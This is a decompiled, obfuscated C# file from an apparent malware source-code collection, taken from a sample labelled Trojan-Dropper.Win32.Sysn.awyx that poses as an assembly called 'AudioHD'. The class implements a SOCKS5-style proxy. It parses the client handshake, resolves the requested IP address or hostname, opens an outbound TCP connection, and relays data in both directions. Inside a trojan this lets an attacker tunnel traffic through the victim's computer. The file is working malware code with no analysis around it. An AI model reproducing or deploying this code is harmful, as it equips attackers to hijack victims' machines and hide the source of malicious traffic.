MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024/_0008/_0007.cs

128 lines
4.1 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
using \u0001;
using \u0008;
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace \u0008
{
internal sealed class \u0007
{
[NonSerialized]
internal static \u0002 \u0001;
private TcpClient \u0001;
private TcpClient \u0002;
private byte \u0001 = 5;
private byte \u0002;
private byte \u0003;
private byte \u0004 = 1;
private byte \u0005 = 3;
public \u0007([In] TcpClient obj0) => this.\u0001 = obj0;
public void \u000F()
{
NetworkStream stream1 = this.\u0001.GetStream();
byte[] buffer1 = new byte[2];
stream1.Read(buffer1, 0, 2);
byte[] buffer2 = new byte[(int) buffer1[1]];
stream1.Read(buffer2, 0, buffer2.Length);
byte[] buffer3 = new byte[2]
{
this.\u0001,
this.\u0002
};
stream1.Write(buffer3, 0, 2);
byte[] buffer4 = new byte[4];
stream1.Read(buffer4, 0, 4);
string hostname = \u0007.\u0001(940);
if ((int) buffer4[3] == (int) this.\u0004)
{
byte[] numArray = new byte[4];
stream1.Read(numArray, 0, 4);
hostname = new IPAddress(numArray).ToString();
}
else if ((int) buffer4[3] == (int) this.\u0005)
{
byte[] buffer5 = new byte[1];
stream1.Read(buffer5, 0, 1);
byte[] numArray = new byte[(int) buffer5[0]];
stream1.Read(numArray, 0, (int) buffer5[0]);
hostname = Encoding.Default.GetString(numArray);
}
if (!(hostname != \u0007.\u0001(940)))
return;
byte[] buffer6 = new byte[2];
stream1.Read(buffer6, 0, 2);
int uint16 = (int) BitConverter.ToUInt16(new byte[2]
{
buffer6[1],
buffer6[0]
}, 0);
Console.WriteLine(\u0007.\u0001(2546) + hostname + \u0007.\u0001(1788) + uint16.ToString());
this.\u0002 = new TcpClient(hostname, uint16);
if (!this.\u0002.Connected)
return;
byte[] buffer7 = new byte[10];
buffer7[0] = this.\u0001;
buffer7[1] = this.\u0003;
buffer7[2] = (byte) 0;
buffer7[3] = (byte) 1;
IPAddress ipAddress = IPAddress.Parse(this.\u0002.Client.LocalEndPoint.ToString().Split(':')[0]);
buffer7[4] = ipAddress.GetAddressBytes()[0];
buffer7[5] = ipAddress.GetAddressBytes()[1];
buffer7[6] = ipAddress.GetAddressBytes()[2];
buffer7[7] = ipAddress.GetAddressBytes()[3];
int num = int.Parse(this.\u0002.Client.LocalEndPoint.ToString().Split(':')[1]);
buffer7[8] = BitConverter.GetBytes((ushort) num)[0];
buffer7[9] = BitConverter.GetBytes((ushort) num)[1];
stream1.Write(buffer7, 0, 10);
NetworkStream stream2 = this.\u0002.GetStream();
bool flag = false;
while (this.\u0002.Connected && this.\u0001.Connected && !flag)
{
Thread.Sleep(100);
try
{
if (stream1.DataAvailable)
{
byte[] numArray1 = new byte[10000];
int length = stream1.Read(numArray1, 0, 10000);
byte[] numArray2 = new byte[length];
Array.Copy((Array) numArray1, (Array) numArray2, length);
stream2.Write(numArray2, 0, numArray2.Length);
}
if (stream2.DataAvailable)
{
byte[] numArray3 = new byte[10000];
int length = stream2.Read(numArray3, 0, 10000);
byte[] numArray4 = new byte[length];
Array.Copy((Array) numArray3, (Array) numArray4, length);
stream1.Write(numArray4, 0, numArray4.Length);
}
}
catch
{
flag = true;
}
}
if (this.\u0001.Connected)
this.\u0001.Close();
if (!this.\u0002.Connected)
return;
this.\u0002.Close();
}
static \u0007() => \u0003.\u000F();
}
}